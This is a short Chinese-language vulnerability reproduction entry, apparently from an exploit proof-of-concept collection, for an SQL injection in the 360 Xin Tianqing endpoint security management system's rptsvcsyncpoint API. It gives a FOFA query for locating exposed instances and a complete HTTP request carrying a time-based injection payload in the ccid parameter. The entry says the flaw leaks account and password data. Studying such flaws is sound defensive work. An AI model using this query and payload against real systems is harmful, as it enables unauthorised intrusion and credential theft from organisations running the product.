2-3360-360新天擎终端安全管理系统-SQL

漏洞描述：

360新天擎终端安全管理系统/api/dp/rptsvcsyncpoint?ccid=接口存在SQL注入，泄露账号和密码信息。

网站图片:

网络测绘:

fofa语法：

title="360新天擎" 

漏洞复现:

payload：

GET /api/dp/rptsvcsyncpoint?ccid=';SELECT PG_SLEEP(5)-- HTTP/1.1

Host: XXXXXXXXXXX

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: SKYLAR6245a4607a3abfe4722059886f=ien9v49n1gjcrclbddvhff0ha3; YII_CSRF_TOKEN=2e12273228599943392e949b3d087f59cfb6d9eas%3A40%3A%22eb58f5f3a2b112f725b645b7d46791fb8fcd5a9c%22%3B

Connection: close

效果图:

参考链接:

https://blog.csdn.net/weixin_43650289/article/details/115668742?spm=1001.2101.3001.6650.7&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-7-115668742-blog-132889165.235%5Ev43%5Econtrol&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-7-115668742-blog-132889165.235%5Ev43%5Econtrol